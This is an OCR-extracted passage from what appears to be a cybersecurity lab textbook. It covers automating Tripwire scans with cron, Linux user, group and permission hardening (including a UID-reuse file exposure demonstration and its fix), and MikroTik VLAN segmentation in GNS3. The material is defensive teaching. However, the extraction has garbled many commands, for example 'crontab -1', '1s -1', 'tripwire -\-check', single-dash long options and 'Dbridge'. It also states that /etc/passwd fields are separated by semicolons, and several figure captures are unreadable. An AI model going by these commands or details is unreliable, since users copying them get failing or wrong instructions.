Jobs in cron are fairly easy to setup. The basic format is:

* x % % * ysername command

As illustrated in the figure below, each asterisk represents a specific time or date.
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-— minu
hour
day of month

month (1 - 12 ..
OF sun,man,tue,wed,thu,fri,sat

Figure 21 - Example of job definition

For example, this task can be translated to “At 5:01 on Monday in April, print ‘Hello World' to the screen.” A good
resource to use for properly scheduling jobs is https://crontab.guru.

1 5 * 4 1 root echo “Hello world”

1. Still logged in as root, list your current crontab

> crontab -1

root@ubuntuserver: "#
bunt “# crontab -1

Figure 22 - Listing crontab

2. Edit your crontab to add a new job

> crontab -e

NOTE: You may be prompted to select an editor. Choose whichever you feel the most comfortable
using.

2.1. Schedule Tripwire to execute an integrity scan 2 minutes from now

NOTE: At the time of writing this, the current time is 23:32, so the command below is for
23:34. You can use the date command to determine your system'’s current time.

34 23 * * * tripwire -\-check

651
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2.2. Save and exit the editor

3. Reprint your crontab to verify it was saved (Figure 23)

4. Check your tripwire report folder to verify that cron is working

> 1s -1 /var/lib/tripwire/report

NOTE: Notice how the report shown below has the time marked as 23:34.01.

libAtripwiresreports

-ru-r--r-- 1 root root 926 HMay 30 23:34 ubuntuserwer-20240530 401, twr
root@ubuntuserver: T#

Figure 24 - Automated tripwire report
Congratulations! You were successfully able to implement and automate a host-based intrusion detection system!

End of Lab

Deliverables

4 Screenshots to earn credit for this exercise:

J Screenshot of Tripwire database
+  Screenshot of Tripwire scan showing no errors
«  Screenshot of Tripwire scan working showing a policy violation

+  Screenshot of crontab with scheduled Tripwire job

Assignment 1 - Create a new user on the computer. Do a Tripwire scan, then delete the user and do another
scan. After, Create a new timer for crontab that starts at 5 a.m. everyday. (HINT: there are websites online that

will do the conversion for crontab)



https://eaglepubs.erau.edu/app/uploads/sites/10/2024/05/tripwire-scheduled-cron-e1717112029374.png

TRIPWIRE HIDS

c RECOMMENDED GRADING CRITERIA

+ A document containing the following:

° Screenshot of Tripwire scan after the user is created
° Screenshot of Tripwire scan after the user is deleted
° Screenshot of crontab time being set to 5 a.m.

o Abrief description of the pros and cons of Tripwire

Assignment 2 - Modify the policy text file to create two new sets of files in different locations that Tripwire can
monitor. After, recompile the policy and rebuild to database. To update the policy file use the commandtripwire
-update-policy policy.txt. In the new file locations select 3 files. For each file select one option: moving to a new
location, deleting the file, or adding information to it. After this is done run a Tripwire scan. (HINT: When updating
the policy if there are errors when referring to the location files use the command tripwire -check | grep Filename
to view which lines are causing the errors)

c RECOMMENDED GRADING CRITERIA

+  Adocument containing the following:

o Screenshot of the new policy text file contents
o Screenshot of the new Tripwire database
o Screenshot of the Tripwire scan after the 3 files have been changed

o Abrief description of the pros and cons of Tripwire
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Figures for printed version

Ubuntu_Server2 [Running] - Oracle VM VirtualBox

Machine View Input Devices Help

| Postfix Configuration
Flease select the maill server configuration type that best meets your needs.

Mo configuration:
Should be chosen to leave the current configuration unchanged.
Internet site:
Mail is sent and recelwved directly using SHTF.
Internet with smarthost:
Mail is received directly using SHTP or by running a utility such
as fetchmail. Outgoing mail is sent using a smarthost.
Satellite system:
fll mail is sent to another machine, called a 'smarthost', for
delivery.
Local only:
The only delivered maill is the mail for local users. There is no
network.

General mail configuration tupe:

Mo configuration
Internet Site

Internet with smarthost
Satellite system

Local only

<Cancelx

% | 43 B right ctrl

Figure 2 - Postfix configuration type
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Ubuntu_Server2 [Running] - Oracle VM VirtualBox

View Input Devices Help

| Tripwire Configuration

Tripwire uses a pair of keys fo sign wvarious files, thus ensuring their unaltered state.
accepting here, you will be prompted for the passphrase for the first of those keus, the
site key, during the installation. You are also agreeing to create a site key if one
doesn't exist already. Tripwire uses the site key to sign files that may he common to
multiple systems, e.g. the configuration & policy files. See twfiles(5) faor more
informat ian.

Unfortunately, due to the Debian installation process, there is & period of time where this
passphrase exists in a unencrypted format. Were an attacker to have access to your machine
during this period, he could possibly retrieve your passphrase and use it at some later
point.

If you would rather not have this exposure, decline here. ¥You will then need to create a
site key, configuration file & policy file by hand. See twadmin(8) for more information.

Do you wish to createsuse your site key passphrase during installation?

{Yesy BN

T %| 48 B Rright Ctrl

Figure 3 - Tripwire installer site key creation
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Ubuntu_Server2 [Running] - Oracle VM VirtualBox

View Input Devices Help

| Tripwire Configuration

Tripwire uses a pair of keys to sign warious files, thus ensuring their unaltered state. By
accepting here, you will be prompted for the passphrase for the second of those keys, the
local key, during the installation. You are also agreeing to create a local key if one
dogsn't exist alresdy. Tripwire uses the local key to sign files that are specific to this
sustem, e.g. the tripwire database. See twfiles(5) for more information.

Unfortunately, due to the Debian installation process, there is & period of time where this
passphrase exists in a unencrypted format. Were an attacker to have access to your machine
during this period, he could possibly retrieve your passphrase and use it at some later
point.

If you would rather not have this exposure, decline here. ¥You will then need to create a
local key file by hand. See twadmin(8) for more information.

Do you wish to createsuse your local key passphrase during installation?

{Yesy BN

T %| 48 B Rright Ctrl

Figure 4 - Tripwire installer local key creation
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Ubuntu_Server2 [Running] - Oracle VM VirtualBox

Input  Devices Help

| Tripwire Configuration
Tripwire has been installed
The Tripwire binaries are located in fusrsshin and the database is located in

Avarslibstripwire. It is strongly advised that these locations be stored on weite-protected
media (e.g. mounted RO floppy). See susrssharesdoc/tripuwiresREADME.Debian for details.

=T & 43 B right ctrl

Figure 5 - Tripwire installation process complete
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MATHEW J. HEATH VAN HORN,

Ele Thl_ file Tn introduce tasks to be run by cron.

Each - to run has to be defined through a single line
indic with different fields thn the t will be run
and what command to run for the :

To define the time uwou can prﬂnlde concrete walues an
minute (m), hour (R, Y thoo month .
and day of week I|i|||||l or use 'x' in these fields |:'|:I:Ir" ‘any').

Motice that ta will be starte d on the cron's system
daemon's notion of time and timezones.

Output of the crontab jobs Cincluding
email to the user the crontab file belor

a hackup of all your user accounts
¢z shomes

= of crontab(S) and cronig)

Figure 23 - Updated crontab

PHD
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CHAPTER 36

System Hardening - Introduction to Linux User and
Group Management

JACOB CHRISTENSEN AND DANTE ROCCA

Up to this point, learners used Linux to implement specific functions. This lesson will focus on user, group, and
password management within the Linux environment. Learners will see how a hacker can manipulate users and
groups to elevate their privileges and install persistence (notional accounts).

LEARNING OBJECTIVES

* Manually be able to create and securely configure new user accounts
+ Understand the concept of groups in Linux operating systems

+ Define password policies for local systems

PREREQUISITES

+ Chapter 11 - Create an Ubuntu Desktop

DELIVERABLES

+ Screenshot of /etc/passwd file showing new users

+ Screenshot of /etc/group file showing AccountingDep group

RESOURCES

+ Ubuntu Server Documentation - User management - https://ubuntu.com/server/docs/user-
management

CONTRIBUTORS AND TESTERS

+ Evan Paddock, Cybersecurity Student, ERAU-Prescott
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Phase | - Introduction to System Users

What is a client device without users to operate them? This section will focus on understanding the root
account, creating new users on a standard Ubuntu desktop environment, and manipulating the privileges
available to them.

1. Start an Ubuntu virtual machine and login as your primary user

NOTE: In this chapter, my main user account is named rogue. Anytime you see this, remember to
adjust as necessary with your own username.

2. Ensure that your primary user account has administrative privileges by checking if it is a part of the
sudoers group

> groups | grep “sudo”

"sudao"

buntu-5
wor 1o |
rogue@Ubuntu-5

Figure 1 - User “Rogue” part of Sudoers

NOTE: If the machine was downloaded through VirtualBox with untended installation, the default
user typically does not have root privileges . You can test this by executing any command prefixed with
sudo.

udo hello

. tile. This incident will be reported.
ledlbuntu-Server:

Figure 2 - No admin privileges

The above error message shows that this user is not an administrator. If this is the case for you,
continue reading; otherwise, continue to step 3.

Login to the root system account by executing the “substitute user” (su) binary without any
arguments.

Add your primary account to Sudoers and reboot the machine.
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> adduser rogue sudo

Figure 3 - User with new root privileges

3. Simulate the admission of someone to the system by creating a new user account (Figure 4)

NOTE: Replace the string johndoe with any username of your choice. In this example, we are
temporarily disabling the account by not setting the password. Any other information requested, such
as full name and phone numbers, can be filled in as needed or left to their defaults by pressing Enter.

> sudo adduser johndoe -disabled-login

3.1. When a new account is created, a new directory is created in /home

3.2. By looking at the directory permissions, we can see that the only accounts that can view
its contents are root and the new user themselves

> 1s -1 /home

“t 1z -1 Shome

johndoe johndoe 4096 May

Figure 5 - User’s home directories

4. Open the /etc/passwd file to view basic information about all the accounts on the system


https://eaglepubs.erau.edu/app/uploads/sites/10/2023/09/linux-hardening-adduser-johndoe.png
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> cat /etc/passwd

NOTE: This file is owned by root, meaning that no other user user can edit it without sudo
permissions. Entries in this file are divided into seven fields, each separated by a semicolon.

t/hames

Figure 6 - User “johndoe” entry in /etc/passwd

Field Value Description

johndoe The username string for this account.

X Hashed password (relocated to /etc/shadow).

1001 User identification number (UID). This must be unique for every
account.

1001 Group identification number (GID). Every user has their own group,
which this number represents. This must be unique for every group.

GECOS fields. This is optional information about the user such as

John Doe...4321 their full name and phone number.

/home/johndoe Location of the user's home directory on the system.

/bin/bash The default shell for the user.

5. Deleting an account is just as trivial as creating one

5.1. To illustrate this, add a new user on the system: Jane Doe (Figure 7)

> sudo adduser Jjanedoe —-gecos “Jane Doe” -uid 1234

Switch Description

—pecos Specify additional user information such as full name and phone
g numbers.

-uid Manually assign a unique UID for the user.

5.2. In /etc/passwd, verify that the account was successfully created with the correct UID value
that we assigned

|1234" setc/

e, ,, Shomes

rogue@lbuntu-Server: ™

Figure 8 - Verifying custom UID of janedoe


https://eaglepubs.erau.edu/app/uploads/sites/10/2023/09/linux-hardening-adduser-jane-doe.png
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5.3. Switch to this account

> su janedoe

5.3.1. This user's limited privileges makes it impossible to view the contents of John
Doe's home directory

> cd /home/johndoe

: cd: shomes : ' ed
edoe@Ubuntu-Ser '

Figure 9 - Jane’s limited permissions

5.3.2. Now that we know our home directory is safe from intruders, create a new file
in containing Jane Doe’s password so she doesn't forget

> echo “super secret: my password is janedoel23” >

do not touch.txt

~% 1z | grep "do_not_touch.txt"

& cat do_not_touch.t=t
; Janedoelz3

Figure 10 - Creating secret file

5.3.3. Exit the session

5.4. Terminate this user

> sudo deluser janedoe
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6. What happens if another user has the same UID as someone who was previously deleted?

6.1. Add another user on the system - Juan Perez - with the same UID value as Jane Doe
(1234)

> sudo adduser Jjuanperez -—-gecos “Juan Perez” -uid 1234

6.2. Login as Juan and list contents of the /home directory

Figure 11 - Listing permissions of /home directory

Notice anything interesting? It looks like Jane Doe’s home directory is still there despite her
account having been deleted. In addition, the owner of that file is now our new user Juan
Perez.

6.3. Change to Jane Doe's directory and try to open the “super secret” file created earlier

Juanperez@lbuntu-Server: ™t
@lbuntu-server: ™% cat

ret: my [ ar |j j.E: .
zAlhuntu-Server: ™%

Figure 12 - Juan has access to Jane’s files

Oops! Looks like Juan now has access to all of Jane's files including her not-so-secure
password file. Home folders are persistent, even when the owner's account is deleted.
Therefore, any new user with same UID/GID as a deleted user will have access to these files.
Since this can be an obvious breach in security, system administrators should either deleted or
relocated home directories of terminated users as well as change permissions to solely root.

The following commands can remedy this situation:

Command to delete a user including their home directory:

deluser username -remove-home

Command to delete a user and purge all their files:
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> deluser username -remove-all-fil

Phase Il - Introduction to Password Management

The passwd utility is a powerful tool that can set and modify passwords, lock or unlock accounts, and enforce
user management policies such as password expiration dates.

Recall that the second field in each entry of /etc/passwd was set to the placeholder X'. This value used to
represent an account’s hashed password, however this information has since been relocated to another file called
shadow. In most current distributions of Linux, information concerning user account passwords and password
policy information is stored in shadow.

1. Switch to the root user

1.1. Open /etc/shadow and search for your personal account

Figure 13 - User entry in Shadow

Field # Description

1 Account username.

2 Hashed and salted passwords.

3 Time since the account’s password was last changed.
4 Minimum password age.

5 Maximum password age.

6 Warning period before password expires.

7 Period of inactivity since thee user last logged in.

8 Password expiration date.

9 Unused field.

2. Since the first account created was initialized with the disabled-login switch, no password was set,
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and thus it cannot be logged into

2.1. Open shadow and search for John Doe's account

> grep “johndoe” /etc/shadow

ep ' johndoe" setc/shadow

Figure 14 - John Shadow entry

You will notice that there is a bang (!) in place of a password hash in the second field.
In Linux, there are four symbols other than a password hash that a system admin may
encounter: a single bang (!) represents that the account is locked; a double bang (!!)
represents that no password was given during account creation; an asterisk (*) represents
that password authentication has been disabled; and finally, a blank field means that no
password is required to login to the account.

NOTE: Even if an account has a disabled password, it can still be accessed via other means
of authentication such as SSH keys.

2.2. Enable John Doe's account by assigning it a password

> passwd johndoe

Figure 15 - John's updated Shadow entry

NOTE: Notice how the bang (!) in John Doe’s Shadow entry was replaced with a hash string.

2.3. Verify this was successful by logging into the account (Figure 16)

How to Lock Down User Accounts

To re-lock an account, the administrator can call upon the lock switch...



https://eaglepubs.erau.edu/app/uploads/sites/10/2023/09/linux-hardening-john-login.png
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> passwd —-lock username

... or enable an account via the unlock switch

> passwd —-unlock username

Phase Il -Introduction to Password Time Management

A good system administrator should keep track of their users, periods of inactivity, disabled or terminated
accounts, as well as ensure that passwords are updated regularly as per company policy.

1. Still signed into root, check John Doe’s password management status

> passwd -S johndoe

-5 Jjohndoe

buntu-

Figure 17 - John's account status

The output of this command it spit into seven fields separated by spaces: username, password status,
date of last password change, minimum password age, maximum password age, warning period, and
inactivity period.

2. Make the following adjustments to John Doe's account

2.1. Change the minimum number of days between password resets

> passwd -mindays 5 johndoe

NOTE: Entering zero (0) indicates that there is no restriction as to when the user may change
their password.

2.2. Change the maximum password age before it must be changed again
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> passwd -maxdays 30 johndoe

2.3. Change the number of days before password expiration that the user will be notified to
reset their password

> passwd -warndays 3 johndoe

2.4. Manually expire John Doe's password to force them to reset it the next time they login

> passwd —expire johndoe

2.5. If the user is inactive for a predetermined threshold of days, it is good practice to disable
the account until they return

> passwd —inactive 7 johndoe

3. Re-check the status of John Doe's account to verify that these specifications went into effect
> passwd -S johndoe

root@lbuntu

root@dbuntu-Ser “# passud -
johndoe F ily 5 30 37
root@lbuntu-5

5 Johnd

Figure 18 - Updated status to John's account

Phase IV - Introduction to group management

So far, we have covered the basics of managing an individual user account on a Linux computer. However, in

larger networks, many different users can be working be working on the same machines for various reasons. In
cases where you want several accounts to have access to the same resources, Linux provides administers with
the concept of Groups to easily manage aggregated privileges and access.

1. Login as root

2. Add two new users to the machine - Jerry Jones (jerryjones) and Mary Smith (marysmith)
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3. Create a new group called AccountingDept

> groupadd AccountingDept

NOTE: You can also delete groups with the following command:

S

> delgroup <groupname>

However, be aware that the same problem as discussed in Phase |, Step 6 arises when two groups
share the same Group ID (GID). Ensure that all files related to the group you are deleting are cleaned
up.

“# grep “AccountingbDept' setc

Figure 19 - AccountingDept group created

3.2. Add both newly created users to the group

> usermod -aG AccountingDept jerryjones
> usermod -aG AccountingDept marysmith

Figure 20 - New users in AccountingDept group

4. Navigate to the /home directory and make a new folder called Accounting_Files

> mkdir /home/Accounting Files

4.1. View the default permissions of this directory to see that it is owned by the root account
and group
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> 1s -1d /home/Accounting Files

~y

Figure 21 - New file permissions

4.2. Modify the permissions so that it is owned by the AccountingDept group

> chgrp AccountingDept /home/Accounting Files

4.3. Verify these changes went into effect

dru
root

Figure 22 - Updated Group ownership

5. Switch to an account that's a member of AccountingDept (either Jerry or Mary)

5.1. Try to create a file in the Accounting_Files directory

> touch /home/Accounting Files/important document.txt

Figure 23 - Failure to create file

The group owns this directory but users in that group can't write to the directory. This is
where permission management comes in!

Phase V - Permission Management

In order to ensure files are only accessible by those we want we must assign permissions to files and
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directories. In Linux, permissions come in three flavors, read, write, and execute. These permissions can be set
for the owner of the file, the group owner of the file, and others.

1. Modify the Accounting_File to grant the AccountingDept group write permissions

> chmod g=rwx /home/Accounting Files

NOTE: The chmod command has two different ways to edit permissions. One is symbolic which is
used above. In symbolic u represents user owner of the file, g represents group owner of the file, and o
represents others. Similarly, r is read, w is write, and x is execute. A + will add the permissions, a - will
take away the permissions, and a = will set the permissions to whatever you specified. The other way of
editing permissions with chmod is using numbers. In the numbered mode, a 1 is execute, a 2 is write,
and a 4 is read. Adding them up will signal different permissions. For example, 5 would be execute and
read permission. When using chmod in numbered mode, the first number is the file owner, the second
number is the group owner, and the last number is other users. So using chmod 750 would give the
owner all permissions, the group read and execute permissions, and other users no permissions.

“# 1s -1d
countinglhe

Figure 24 - Updated directory permissions

2. Again, switch to an account that's a member of AccountingDept (either Jerry or Mary)

2.1. Try to create a file in the Accounting_Files directory

> touch /home/Accounting Files/important document.txt

2.2. Verify that it was successfully created

. -1 | grep "

important _doc

Figure 25 - Improper file permissions

Notice how, although it was successfully created, the file permissions still default to the
account that created it: Jerry Jones. Because of this, other AccountingDept users will be unable
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to write to this file. In order to facilitate cooperation we need files in the directory to be
assigned to the same group.

3. As root, set the special SGID permission on the directory

> chmod g+s /home/Accounting Files

NOTE: To check if the permission was set properly, you should see an s instead of an x in the group
segment of the file permissions.

4. Now login in as the other user that's part of the group and create a new file

> touch /home/Accounting Files/marys file.txt

4.1. Check the owner and group of the two files

important _document . t=t

1 test

Figure 26 - File ownership comparison

NOTE: Notice how after we applied the SGID permission, the file created inherited the group
of the directory.

End of Lab

Deliverables

2 Screenshots are needed to earn credit for this exercise:

+  Screenshot of /etc/passwd file

«  Screenshot of /etc/group file
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You work for ABC Company as a system administrator. The company policy states that passwords cannot be
reset within a day they are changed, and that all users must reset their passwords once every three months.
Finally, users should be notified five days prior to their passwords expiring. The naming convention for users is
last name, first initial, followed by two random digits (ex. marshalc12 for Chris Marshal).

Five new employees have recently been hired and need to be admitted into the system:

c Wyatt Dawson
+  Cassidy Monroe
. Grant Colton

. Sierra McAllister

+  Clayton Westwood

Two employees have recently quit and their accounts need to be dealt with appropriately:
+  Jesse Rawlings
c Emma Sinclair

One employee will be going on an extended vacation for three months, so their account will be to be disabled:

. Jesse Callahan

Submit a screenshot proving each employee has an account that was created as well as the password status
of each account. Also, demonstrate that the home directories of the terminated accounts have had their
permissions reallocated to root.
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Figures for Printed Copy

Ubuntu_Server1 [Running] - Oracle VM VirtualBox

Machine View Input Devices Help

;8
--fdisabled-1login

7 " johndaoe

faﬁ Johnd
ENTER for the default

L-iur F't-'||:|r:|e [1:
Home Phone []:
r [1:

T %| 43 B Right ctrl

Figure 4 - User “johndoe” created
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Ubuntu_Server1 [Running] - Oracle VM VirtualBox

Machine View

sz '""Tane Doe' --uid 1234

ith group ~janedoe’

BOowg &WET § ¢ 8 right ctrl

Figure 7 - User “janedoe” created
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Ubuntu_Server1 [Running] - Oracle VM VirtualBox

File Machine View Input Devices Help

Uhuntu 22.04.3 LTS Ubuntu-Server ttul
er login: Jjohndoe

.
re to Ubuntu 22.04

nentation:  https
1t : ht

b AM UTC

in:
for e

iz not enabled.

ates can be applied immediatelu.

additional updates run: apt list --upgradable

‘BSM

—1ts. Check your Internet connection

BOowg &WET § ¢ 8 right ctrl

Figure 16 - Logging into Ubuntu server as John Doe
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CHAPTER 37

Network Hardening - Network Segmentation and
Isolation

MATHEW J. HEATH VAN HORN, PHD

Many networks are worried about exterior facing security holes. The network interior is largely overlooked as
needing security management. However, many advanced persistent threat actors use the application layer to gain
access to the interior network and then pivot to other internal network targets. e.g. an APT gains access to the web
server, where they can cause mischief, but without inside the network security, that web server access could give
way to the research, employee, and accounting servers.

To prevent this, we can create obstacles to slow the threat actor down long enough to counter their attacks.
Think how hedgerows in WW Il Europe slowed the Allied advance on Germany (Hedgerow History1)
(HedgerowHistory?). In an enterprise network, the cybersecurity person’s hedgerows used against threat actors
are virtual local area networks (VLANs) and they enhance network security through network segmentation and
isolation.

LEARNING OBJECTIVES

+ Adding a switch to a network environment
+ Segment a homogenous network into several isolated networks
+ Use DHCP to test network connectivity

+ Develop a firewall filter to complete network segmentation

PREREQUISITES

+ |Pv4 Subnetting

DELIVERABLES

+ Wireshark packets from PC 1 showing successful pings to PC 5 and PC 3
+ Screenshot of VLAN table for Switch 1

+ Screenshot of VLAN table for Switch 2

+ Screenshot of PC5 unable to ping 99.99.99.1 and 99.99.99.2
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RESOURCES

+ MikroTik Documentation - Bridging and Switching - https://help.mikrotik.com/docs/display/ROS/
Bridging+and+Switching#BridgingandSwitching-BridgeHardwareOffloading

+ Wilmer Almazan / The Network Trip - “Mikrotik VLANs - CRS3XX Step by Step - Mikrotik Tutorial” -
https://www.youtube.com/watch?v=YLtGQAQ8iS0

CONTRIBUTORS AND TESTERS

*+ Ella Lopez, Cybersecurity Student, ERAU-Prescott

+ Nichole Thomas, Cybersecurity Student, ERAU-Prescott

+ Bernard Correa, Cybersecurity Student, ERAU-Prescott

+ Kyle Wheaton, Cybersecurity Student, ERAU-Prescott

+ Andersen Keller, Cybersecurity Student, ERAU-Prescott

+ Jungsoo Noh, Cybersecurity Student, ERAU-Prescott

« Dante Rocca, Cybersecurity Student, ERAU-Prescott

+ Jacob M. Christensen, Cybersecurity Student, ERAU-Prescott

Phase | - Setup

In this lab, you will build the following GNS3 network...
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Internet

natl

H
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Switch-2

ether3

etherld

P'Ci/
3 o0

VLAN 10
Maketing
56.148.10.0/ 24

VLAN 20

Cyber Shop
56.148.20.0/ 24

56.148.10.0/24

Figure 1 - Final GNS3 network

Phase Il - Adding a Switch to GNS3

image and modified it to support switching.

MikroTik's RouterOS operating system works the same for both switches and routers. Their physical switches
have an extra circuit that allows for OSI Layer 2 switching functions. This means that if were to configure a
MikroTik router as a switch in GNS3, it wouldn't work because the extra circuit isn't present. However, we can
approximate the same settings. Others have struggled with this problem and have taken the MikroTik router

1. Start GNS3 so it can boot while we download the appliance

1.1. Create a new project: LAB_20
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2. In GNS3, navigate to File->New Template
2.1. Select Install an appliance from the GNS3 server and click Next

2.2. Under Switches, select MikroTik CRS328-24P-45+ and click Install

NOTE: This is a multi-layer switch, but we are going to treat it as a Layer 2.

2.3. Select Install the appliance on the GNS3 VM and click Next
2.4. Leave the Qemu settings as their default and click Next

2.5. Highlight the latest image (.img) version and click Download

NOTE: GNS3 will remind you to unzip the downloaded sub-image. You need to do this
before you can import it.

2.6. Again, highlight the image version you just downloaded and click Import
2.7. Select the image file and click Open

2.8. Highlight the appliance you want to install and click on Next



INTRO TO VLANS 681

€ Install MikroTik CRS328-24P-45+ appliance ? x

Required files i
Please select one version of MikroTik CRS328-24P-45+ and import the required files, Files are searched in your downloads and ;“ ‘:,
GMS3 images directories by default Il'\.

Appliance version and files Size Status
MikroTik CR5328-24P-45+ version 7.8 1280 MB Ready to install
* MikroTik CRS328-24P-45+ version 7.7 1280 MB Missing files

chr-7.7.img 128.0 MB Missing
* MikroTik CRS328-24P-45+ version 7.6 128.0 MB Missing files
chr-7.6.img 128.0 MB Missing
* MikroTik CR5328-24P-45+ version 7.3.1 1280MB M g files
chr-7.3.1.img 128.0 MB Missing
* MikroTik CRS328-24P-45+ version 7.1.5 1280 ME Missing files
chr-7.1.5.img 128.0 MB Missing
* MikroTik CR5328-24P-45+ version 6.49.7 64.0MB  Missing files
chr-6.49.7.img 64.0 ME Mlissing
* MikroTik CRS328-24P-45+ version 6.49.6 640 MB Missing files
chr-6.49.6.img 640 ME Mlissing
* MikroTik CRS328-24P-45+ version 6.48.6 64.0MB Missing files
chr-6.48.6.img 64.0 ME  Missing
Allow custom files | Create a new version Refresh
Appliance info < Back | Mext = | Cancel

Figure 2 - Ready to install

2.9. Select Yes on the popup window
2.10. Read about how the image is to be used and click Finish

3. In GNS3, navigate to either the switch icon or the all devices icon, and you can see the MikroTik
CRS328 switch has been added
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Swtches

ATM switch

@ Ethemet hub

7]
]

sl Ethernet switch

H Frame Relay switch

MikroTik CR5328-24P-45+ T.8

Jd e O] &

Figure 3 - Completed Installation

Phase Il - Preconfiguring the Switch

There isn't much to do in this phase. However, because we are using a MikroTik cloud router as a multi-layer
switch and restricting it to only using OSI Layer 2, a few tweaks need to be made.

1. Drag the MikroTik switch to the design area

2. Start the MikroTik switch and open its console

3. This has the same first boot steps as the MikroTik router
3.1. Login: admin
3.2. Password: <blank, just hit enter>
3.3. Select n when asked to see the software license

3.4. When asked for a new password choose something you will remember, in this book we

typically use

3.5. Change the switch name by typing (where <new name> means your chosen name for the
device)

> system identity set name=<new name>
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Phase IV - Create the bridge

A bridge is a device responsible for dividing a network into various segments. These segments might be
geographical (house, garage, workshop) or functional (marketing, accounting, printers). This segmentation
creates network domains so that if a packet collision occurs, the collision will not affect the rest of the network.
The bandwidth assigned to the bridge can be adjusted to reduce the number of packet collisions. This also helps
if a threat actor is deliberately trying to cause collisions on our network in DoS or DDoS attack type. It won't stop
the attack, but it will prevent it from affecting more than one part of the network.

A bridge device is software-controlled which allows many switches to be configured to act as bridges. Bridges
forward packets with no error checking and generally have no buffer for unsent packets like switches often do.

1. The hardware platforms for MikroTik switches generally have more than one bridge, but because
our emulated hardware doesn't have the switch chips, we can only use one, which makes things easy to
set up, but it might look goofy since we use the name “bridge1” frequently.

2. To create the bridge type

> interface bridge add name=bridgel

3. Create the same bridge for Switch 2. For the bridge use the name ‘bridge1’ as well

Phase V - Plan the Network

In the opening figure, you can see we want to design a network separated into three functional areas. We will
build a very simple LAN containing three VLANS:
+  VLAN 10: 56.148.10.0/24 Marketing
+  VLAN 20: 56.148.20.0/24 Cyber
*  VLAN99: 99.99.99.0/24 Management

Remember: Switches are Layer 2, they do not recognize IP headers (Layer 3). Therefore, we need a router to
facilitate communications between the VLANS.
Furthermore, there are some specialty terms we need to be familiar with:
+  Tagged - This means the interface handles traffic from more than one source (Trunked)
. Untagged - This means the interface handles traffic for only one source (Access Point)
C PVID - Port VLAN ID for access ports to tag all ingress traffic with a VLAN ID
These tags are used by the bridge filters to direct the packets to the appropriate VLAN without having to

deconstruct the packet header which saves a lot of time. We don't tag trunked traffic because there could be
many different tagged packets in this path.
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1. Add all the devices shown in the first diagram. Connect the cables. Feel free to use any interfaces
you desire, but we used the following:
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2. ldentify the VLANSs, PVID, Tagged, and Untagged interfaces. Remember, tagged interfaces are trunks
(multiple endpoints), and untagged interfaces are access points (single endpoint)

Switch 1 Switch 1 Switch 2 Switch 2
L ol Tagged Untagged Tagged Untagged

ether1 ether23 ether3 ether10
VLAN 10 PVID10

ether3 ether24

ether1 ether10
VLAN 20 PVID20

ether11

ether1 ether3
VLAN 99 PVID99

bridge bridge

Phase VI - Implement the network

Once you have worked out your network with pencil and paper, it makes implementation MUCH easier. | know
you won't believe me, but when you take 4-5 hours to set up your devices and | take 30 minutes, maybe you'll
learn this life lesson. Anyway, take your pencil-paper plan and implement it on your equipment step by step.

1. Start all devices
2. Configure the router

2.1. Open the router console and add the VLANSs by typing

> interface vlan add name=VLAN10 vlan-id=10 interface=etherl

disabled=no

> interface add name=VLAN20 vlan-id=20 interface=etherl

disabled=no

> interface add name=VLAN99 vlan-id=99 interface=etherl

disabled=no

NOTE, it seems like we reuse labels and names a lot so it seems pointless to keep repeating.
However, when learning network segmentation it is better to be repetitive instead of
something more realistic like this because there is less chance of fat-fingering something:
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disabled=no

interface vlan add name=death-star

vlan-id=826 interface=etherl

2.2. Add an IP address to each of the VLANs by typing

> ip address add address=56.148.10.1/24 interface=VLAN1O

> ip address add address=56.148.20.1/24 interface=VLAN20

> ip address add address=99.99.99.1/24 interface=VLAN99

3. Add ports to the bridge

3.1. Configure Switch-1 - Add ports by typing

interface bridge

interface bridge

interface bridge

interface bridge

interface bridge

interface bridge

bridge=bridgel

bridge=bridgel

bridge=bridgel

bridge=bridgel

bridge=bridgel

bridge=bridgel

interface=etherl

interface=ether3

interface=ether23 pvid=10

interface=ether24 pvid=10

interface=etherl0 pvid=20

interface=etherll pvid=20

NOTE: Remember, on Switch-1:

- ether1 and ether3 are trunk ports - no tags at this time (e.g. pvid) or we will lose packet

687
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traffic
- ether23 and ether24 are part of VLAN 10 - Marketing
- ether10 and ether11 are part of VLAN 20 - Cyber Shop

3.2. Configure Switch-2

> interface bridge port add bridge=bridgel interface=ether3

> interface bridge port add bridge=bridgel interface=etherl0 pvid=10

4. Create the VLAN tables

4.1. Configure Switch-1

> interface Dbridge vlan add Dbridge=bridgel tagged=etherl,ether3
untagged=ether23,ether24 vlan-ids=10

> interface Dbridge vlan add Dbridge=bridgel tagged=etherl,ether3
untagged=etherl0,etherll vlan-ids=20

4.2. Create the VLAN table in Switch2 by opening the console and typing

> interface bridge vlan add bridge=bridgel tagged=ether3
untagged=etherl0 vlan-ids=10

5. Set VLAN filtering to both switches by typing in each console

> interface bridge set bridgel vlan-filtering=yes

6. Check your VLAN table on Switch-1 by typing

> interface bridge vlan print

7. Take a screenshot of the VLAN table for both Switch-1 and Switch-2
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Phase VIl - Management LAN

Management of Enterprise Infrastructure is not as easy as GNS3 makes it look. Most of the time, you will never
have the ability to plug in a monitor, keyboard, and mouse into a network device. Therefore you need a means
to access the device settings. So for us to remote into these devices in the future, we are going to create a
management network.

Normally we would need to assign an IP address to each port. But since bridges listen on every port, we are
going to take advantage of this.

7.1. Create a VLAN bridge, assign all trunks to it (ether1, ether3, and bridge1), and tag all
management packets with a VLAN ID of 99. (Segmentation is the name of the game. Threat agents can
attack management LANSs as well!)

7.2. Add an interface to the vlan, using the existing bridge1 interface, name it, then declare which
tagged packets will use it.

7.3. Finally, assign an IP address just like we would for any physical interface.

1. Create the Management VLAN

1.1. Configure Switch-1 by typing

> interface bridge vlan add bridge=bridgel tagged=bridgel,etherl,ether3

vlan-ids=99

> interface vlan add interface=bridgel name=VLAN99 vlan-id=99

> ip address add address=99.99.99.2/24 interface=VLAN99

1.2. Configure Switch-2 by typing

> interface bridge vlan add bridge=bridgel tagged=bridgel,ether3 vlan-
ids=99

> interface vlan add interface=bridgel name=VLAN99 vlan-id=99

> ip address add address=99.99.99.3/24 interface=VLAN99
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2. Test connectivity on the management LAN by pinging the Router (99.99.99.1) and Switch-1
(99.99.99.2) from Switch-2 (99.99.99.3)

Phase VIII - Testing the whole thing with DHCP

To test the whole environment without having to pass a lot of notional packets, we can use DHCP to verify
connectivity. MicroTik routers have the capability of acting like a DHCP server and are RFC 2131 compliant. For
this example, we will use the following DHCP Settings:

Interface Address Pool

VLAN10 56.148.10.1/24 56.148.10.10 - 56.148.10.250
VLAN20 56.148.20.1/24 56.148.20.10 - 56.148.20.250
Notes:

